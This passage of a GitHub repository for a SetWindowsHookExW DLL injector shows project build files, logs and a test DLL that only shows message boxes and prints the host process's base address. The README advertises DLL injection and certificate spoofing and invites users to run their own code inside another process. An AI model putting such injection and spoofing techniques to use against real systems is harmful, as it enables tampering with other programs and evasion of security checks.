false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Use 88 | Level3 89 | Disabled 90 | true 91 | WIN32;_DEBUG;TESTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 92 | true 93 | pch.h 94 | 95 | 96 | Windows 97 | true 98 | false 99 | 100 | 101 | 102 | 103 | Use 104 | Level3 105 | Disabled 106 | true 107 | _DEBUG;TESTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 108 | true 109 | pch.h 110 | 111 | 112 | Windows 113 | true 114 | false 115 | 116 | 117 | 118 | 119 | Use 120 | Level3 121 | MaxSpeed 122 | true 123 | true 124 | true 125 | WIN32;NDEBUG;TESTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 126 | true 127 | pch.h 128 | 129 | 130 | Windows 131 | true 132 | true 133 | true 134 | false 135 | 136 | 137 | 138 | 139 | Use 140 | Level3 141 | MaxSpeed 142 | true 143 | true 144 | true 145 | _CRT_SECURE_NO_WARNINGS;NDEBUG;TESTDLL_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 146 | true 147 | pch.h 148 | 149 | 150 | Windows 151 | true 152 | true 153 | true 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | Create 165 | Create 166 | Create 167 | Create 168 | 169 | 170 | 171 | 172 | 173 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/Test-Dll.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | 26 | 27 | Source Files 28 | 29 | 30 | Source Files 31 | 32 | 33 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/Test-Dll.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | //------------------------------------------------------------- 9 | // Our Export Function (Call This) 10 | //------------------------------------------------------------- 11 | extern "C" __declspec( dllexport ) int OurFunction( int code, WPARAM wParam, LPARAM lParam ) { 12 | 13 | /* Allocate Console To Show Outputs */ 14 | AllocConsole( ); 15 | freopen( "CONOUT$", "w", stdout ); 16 | 17 | /* Print Parent Process Base Address (Passing nullptr Will Return Target/Parent Process' Base Address) */ 18 | std::cout << "Base Address Of Target Process: " << GetModuleHandle( nullptr ) << std::endl; 19 | 20 | MessageBox( 21 | NULL, 22 | ( LPCWSTR )L"Export Called Successfully", 23 | ( LPCWSTR )L"Test", 24 | MB_OK 25 | ); 26 | 27 | return 0; 28 | } 29 | 30 | BOOL APIENTRY DllMain( HMODULE hModule, 31 | DWORD ul_reason_for_call, 32 | LPVOID lpReserved 33 | ) 34 | { 35 | switch (ul_reason_for_call) 36 | { 37 | case DLL_PROCESS_ATTACH: 38 | { 39 | MessageBox( 40 | NULL, 41 | ( LPCWSTR )L"Dll Loaded", 42 | ( LPCWSTR )L"Test", 43 | MB_OK 44 | ); 45 | 46 | return TRUE; 47 | } 48 | default: 49 | break; 50 | } 51 | return TRUE; 52 | } 53 | 54 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/framework.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers 4 | // Windows Header Files 5 | #include 6 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/pch.cpp: -------------------------------------------------------------------------------- 1 | // pch.cpp: source file corresponding to the pre-compiled header 2 | 3 | #include "pch.h" 4 | 5 | // When you are using pre-compiled headers, this source file is necessary for compilation to succeed. 6 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/pch.h: -------------------------------------------------------------------------------- 1 | // pch.h: This is a precompiled header file. 2 | // Files listed below are compiled only once, improving build performance for future builds. 3 | // This also affects IntelliSense performance, including code completion and many code browsing features. 4 | // However, files listed here are ALL re-compiled if any one of them is updated between builds. 5 | // Do not add files here that you will be updating frequently as this negates the performance advantage. 6 | 7 | #ifndef PCH_H 8 | #define PCH_H 9 | 10 | // add headers that you want to pre-compile here 11 | #include "framework.h" 12 | 13 | #endif //PCH_H 14 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.log: -------------------------------------------------------------------------------- 1 |  dllmain.cpp 2 | Creating library D:\new git srcs\Xerus-Source-Codes\DLL-Injector\Test-Dll\x64\Release\Test-Dll.lib and object D:\new git srcs\Xerus-Source-Codes\DLL-Injector\Test-Dll\x64\Release\Test-Dll.exp 3 | Generating code 4 | 0 of 12 functions ( 0.0%) were compiled, the rest were copied from previous compilation. 5 | 0 functions were new in current compilation 6 | 0 functions had inline decision re-evaluated but remain unchanged 7 | Finished generating code 8 | Test-Dll.vcxproj -> D:\new git srcs\Xerus-Source-Codes\DLL-Injector\Test-Dll\x64\Release\Test-Dll.dll 9 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.pch: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.pch -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/CL.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/CL.command.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/CL.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/CL.read.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/CL.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/CL.write.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/Test-Dll.lastbuildstate: -------------------------------------------------------------------------------- 1 | #TargetFrameworkVersion=v4.0:PlatformToolSet=v142:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0 2 | Release|x64|D:\new git srcs\Xerus-Source-Codes\DLL-Injector\Test-Dll\| 3 | -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/Test-Dll.write.1u.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/Test-Dll.write.1u.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.command.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.command.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.delete.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.delete.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.read.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.read.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.write.1.tlog: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/Test-Dll.tlog/link.write.1.tlog -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/dllmain.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/dllmain.obj -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/pch.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/pch.obj -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/Test-Dll/x64/Release/vc142.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/Test-Dll/x64/Release/vc142.pdb -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/x64/Release/Test-Dll.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/x64/Release/Test-Dll.dll -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/x64/Release/Test-Dll.exp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/x64/Release/Test-Dll.exp -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/x64/Release/Test-Dll.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/x64/Release/Test-Dll.iobj -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/x64/Release/Test-Dll.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/x64/Release/Test-Dll.ipdb -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/x64/Release/Test-Dll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/x64/Release/Test-Dll.lib -------------------------------------------------------------------------------- /DLL-Injector/Test-Dll/x64/Release/Test-Dll.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Skengdo/simple-SetWindowsHookExW-injector/3c7b6bb5b3763b25c7de5c33d56de168bd33bfd6/DLL-Injector/Test-Dll/x64/Release/Test-Dll.pdb -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Simple-SetWindowsHookExW-Injector 2 | ### Features: ### 3 | * DLL Injection 4 | * DLL Certificate Spoofing 5 | 6 | Instructions: 7 | 8 | 1. Change Parameters For ```InjectModuleToProcess( "Test-DLL.dll" /* Our DLL Name */, "Notepad" /* Target Window Class Name */ );``` 9 | 2. Put Your Own Code In "OurFunction" In the DLL 10 | 3. Inject 11 | 12 | ![alt text](https://i.gyazo.com/ea6685196b8a2add4a92113ca48e82d5.png) 13 | --------------------------------------------------------------------------------